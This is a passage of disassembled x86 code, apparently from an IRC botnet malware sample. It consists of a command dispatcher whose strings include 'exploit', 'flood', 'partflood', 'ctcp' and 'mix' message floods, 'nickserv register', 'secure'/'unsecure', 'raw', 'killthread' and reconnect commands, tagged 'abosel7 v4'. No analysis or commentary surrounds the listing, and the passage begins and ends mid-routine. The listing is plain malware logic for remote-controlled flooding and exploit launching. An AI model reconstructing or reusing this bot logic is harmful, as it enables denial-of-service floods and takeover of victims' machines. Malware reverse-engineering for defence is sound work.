; sub_401ACD+1012j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4046FB
push esi
call sub_41C159
test ax, ax
pop ecx
jz short loc_4046FB
push esi
call sub_41C159
pop ecx
jmp short loc_404701
; ---------------------------------------------------------------------------
loc_4046FB: ; CODE XREF: sub_401ACD+2C17j
; sub_401ACD+2C23j
mov ax, word_429084
loc_404701: ; CODE XREF: sub_401ACD+2C2Cj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41C360
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BC2C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409869
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B3BA
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset dword_40EF1C
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4047D0
loc_4047BA: ; CODE XREF: sub_401ACD+2D01j
cmp [ebp+var_968], ebx
jnz loc_401F75
push 32h
call near ptr 2680EF8h
nop
jmp short loc_4047BA
; ---------------------------------------------------------------------------
loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj
nop
call near ptr 269086Bh
push eax
push offset unk_42BBEC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4047E1: ; CODE XREF: sub_401ACD+FA9j
; sub_401ACD+FBEj ...
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404809
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
mov [ebp+var_AA8], ebx
test eax, eax
pop ecx
jnz short loc_404813
loc_404809: ; CODE XREF: sub_401ACD+2D23j
mov [ebp+var_AA8], 1
loc_404813: ; CODE XREF: sub_401ACD+2D3Aj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_AA8], ebx
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
mov [ebp+var_AA0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40485A
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40485A: ; CODE XREF: sub_401ACD+2D86j
push eax
push offset dword_42BBB8
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A366
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4048CE
loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj
cmp [ebp+var_A9C], ebx
jnz loc_4082DE
push 32h
nop
call near ptr 2680EF8h
jmp short loc_4048B8
; ---------------------------------------------------------------------------
loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j
nop
call near ptr 269086Bh
push eax
push offset dword_42BB7C
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj
; sub_401ACD+F94j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41ABFB
loc_4048F0: ; CODE XREF: sub_401ACD+2A75j
; sub_401ACD+2A8Bj ...
add esp, 0Ch
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4048F8: ; CODE XREF: sub_401ACD+F55j
; sub_401ACD+F6Aj
push offset unk_42BB2C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_404902: ; CODE XREF: sub_401ACD+F2Bj
; sub_401ACD+F40j
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42BB1C
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+F01j
; sub_401ACD+F16j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404971
push esi
call sub_41C159
cmp eax, ebx
pop ecx
jl short loc_404966
cmp eax, 3
jge short loc_404966
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40495B
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD50
push eax
call sub_41C266
add esp, 0Ch
mov [esi], bl
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj
push eax
push offset unk_42BAF0
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404966: ; CODE XREF: sub_401ACD+2E58j
; sub_401ACD+2E5Dj
push eax
push offset unk_42BAC4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404971: ; CODE XREF: sub_401ACD+2E4Dj
mov edi, [ebp+arg_18]
xor esi, esi
loc_404976: ; CODE XREF: sub_401ACD+2EC5j
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404999
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404976
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_404999: ; CODE XREF: sub_401ACD+2EB9j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42CD50
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4049B3: ; CODE XREF: sub_401ACD+ED7j
; sub_401ACD+EECj
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403446
call sub_40B583
push ebx
nop
call near ptr 77E75CB5h
loc_4049D9: ; CODE XREF: sub_401ACD+19B1j
push offset aGet ; "get"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404A67
cmp dword_4CF180, ebx
jz short loc_404A01
push offset dword_4CEB60
loc_4049F7: ; CODE XREF: sub_401ACD+2F98j
push offset unk_42BA88
jmp loc_404A97
; ---------------------------------------------------------------------------
loc_404A01: ; CODE XREF: sub_401ACD+2F23j
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
nop
call near ptr 71AB157Eh
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E24]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_E24]
push eax
jmp short loc_4049F7
; ---------------------------------------------------------------------------
loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj
push edi
call dword_4CBA14
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_404A7B
push offset unk_42BA48
jmp short loc_404A97
; ---------------------------------------------------------------------------
loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j
push offset dword_4CEB60
call sub_41C890
pop ecx
mov dword_4CF180, 1
pop ecx
push edi
push offset unk_42BA1C
loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj
; sub_401ACD+2FACj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_40349D
; ---------------------------------------------------------------------------
loc_404AAB: ; CODE XREF: sub_401ACD+199Cj
push [ebp+arg_8]
push offset aExploit ; "exploit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404BB1
mov eax, [ebp+var_4]
mov esi, 80h
mov [ebp+var_13E8], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F8], eax
push offset aF ; "#f"
lea eax, [ebp+var_1478]
push esi
push eax
mov [ebp+var_13F0], 1
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_14F8]
push offset aF ; "#f"
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push edi
push 10h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B9E4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_13EC], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1508]
push ebx
push eax
push offset byte_40BB65
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_13EC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_404BA0
loc_404B8A: ; CODE XREF: sub_401ACD+30D1j
cmp [ebp+var_13E0], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 2680EF8h
jmp short loc_404B8A
; ---------------------------------------------------------------------------
loc_404BA0: ; CODE XREF: sub_401ACD+30BBj
call near ptr 269086Bh
nop
push eax
push offset unk_42B9A4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj
push [ebp+arg_8]
push offset aReconnect_in ; "reconnect.in"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aRin ; "rin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aRinms ; "rinms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4057B7
call near ptr 26A07AFh
nop
push eax
call sub_41C2B8
push edi
push offset aLoad ; "load"
call sub_41CA50
add esp, 0Ch
test eax, eax
jnz short loc_404CB7
cmp [ebp+esi+var_80], ebx
jz short loc_404CB7
push [ebp+esi+var_80]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417E06
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42B93C
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CB7
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_404CB7: ; CODE XREF: sub_401ACD+3173j
; sub_401ACD+3179j ...
push edi
push offset dword_42B938
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D21
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D21
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_47F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_47F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D21: ; CODE XREF: sub_401ACD+31F9j
; sub_401ACD+3204j
push edi
push offset dword_42B920
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D8B
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D8B
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4AF4]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4AF4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B90C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D8B: ; CODE XREF: sub_401ACD+3263j
; sub_401ACD+326Ej
push edi
push offset aNt ; "nt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404DF5
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DF5
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_48F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404DF5: ; CODE XREF: sub_401ACD+32CDj
; sub_401ACD+32D8j
push edi
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E5F
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E5F
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4FF8]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4FF8]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404E5F: ; CODE XREF: sub_401ACD+3337j
; sub_401ACD+3342j
push edi
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E9C
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404E9C
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404E9C: ; CODE XREF: sub_401ACD+33A1j
; sub_401ACD+33ACj
push edi
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404ED9
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404ED9
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404ED9: ; CODE XREF: sub_401ACD+33DEj
; sub_401ACD+33E9j
push edi
push offset aPartflood ; "partflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F1B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F1B
push offset dword_427620
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404F1B: ; CODE XREF: sub_401ACD+341Bj
; sub_401ACD+3426j
push edi
push offset aPnick ; "pnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F92
cmp [ebp+esi+var_88], ebx
jz short loc_404F92
nop
call near ptr 26A07AFh
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B8]
push edx
push [ebp+esi+var_88]
push offset dword_42B89C
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_17B8]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404F92: ; CODE XREF: sub_401ACD+345Dj
; sub_401ACD+3466j
push edi
push offset dword_42B888
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4050E9
cmp [ebp+esi+var_88], ebx
jz loc_4050E9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427620
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
nop
call near ptr 2680EF8h
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
nop
call near ptr 2680EF8h
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call near ptr 2680EF8h
nop
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4050E9: ; CODE XREF: sub_401ACD+34D4j
; sub_401ACD+34E1j
push edi
push offset dword_42B884
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405181
cmp [ebp+esi+var_88], ebx
jz short loc_405181
call near ptr 26A07AFh
nop
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42B85C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 24h
loc_405181: ; CODE XREF: sub_401ACD+362Bj
; sub_401ACD+3638j
push edi
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405289
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_405289
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call near ptr 2680EF8h
nop
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 1F4h
idiv ecx
push edx
nop
call near ptr 2680EF8h
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_405289: ; CODE XREF: sub_401ACD+36C3j
; sub_401ACD+36D2j
push edi
push offset aChgnick ; "chgnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4052CE
lea eax, [ebp+var_180C]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_180C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4052CE: ; CODE XREF: sub_401ACD+37CBj
push edi
push offset aMsg ; "msg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4053C3
cmp [ebp+esi+var_88], ebx
jz loc_4053C3
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
nop
call near ptr 2680EF8h
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
nop
call near ptr 2680EF8h
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4053C3: ; CODE XREF: sub_401ACD+3810j
; sub_401ACD+381Dj
push edi
push offset aNotice_0 ; "notice"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4054B8
cmp [ebp+esi+var_88], ebx
jz loc_4054B8
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
nop
call near ptr 2680EF8h
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
nop
call near ptr 2680EF8h
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4054B8: ; CODE XREF: sub_401ACD+3905j
; sub_401ACD+3912j
push edi
push offset aCtcp ; "ctcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4055D9
cmp [ebp+esi+var_88], ebx
jz loc_4055D9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B814
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call near ptr 2680EF8h
nop
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7FC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call near ptr 2680EF8h
nop
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 2680EF8h
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4055D9: ; CODE XREF: sub_401ACD+39FAj
; sub_401ACD+3A07j
push edi
push offset aMix ; "mix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405709
cmp [ebp+esi+var_88], ebx
jz loc_405709
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B814
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call near ptr 2680EF8h
nop
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 2680EF8h
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 2680EF8h
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_405709: ; CODE XREF: sub_401ACD+3B1Bj
; sub_401ACD+3B28j
push edi
push offset aRegister ; "register"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40574D
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_40574D
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj
; sub_401ACD+3C56j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40619B
mov [ebp+arg_18], offset dword_4D4A5C
loc_405769: ; CODE XREF: sub_401ACD+3CC0j
mov eax, [ebp+arg_18]
cmp dword ptr [eax-4], 1
jnz short loc_40577F
mov eax, [eax]
cmp eax, ebx
jbe short loc_40577F
push eax
call dword_4CBA6C
loc_40577F: ; CODE XREF: sub_401ACD+3CA3j
; sub_401ACD+3CA9j
add [ebp+arg_18], 210h
cmp [ebp+arg_18], offset dword_4DB17C
jl short loc_405769
cmp [ebp+var_8], ebx
jnz loc_40619B
push ebx
push [ebp+var_4]
push offset unk_42B784
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_40619B
; ---------------------------------------------------------------------------
loc_4057B7: ; CODE XREF: sub_401ACD+3151j
push [ebp+arg_8]
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aN ; "n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aJ ; "j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aPt ; "pt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aRaw ; "raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aKillthread ; "killthread"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aC_quit ; "c_quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_q ; "c_q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_rndnick ; "c_rndnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aC_rn ; "c_rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aPrefix ; "prefix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aPr ; "pr"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aOpen ; "open"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
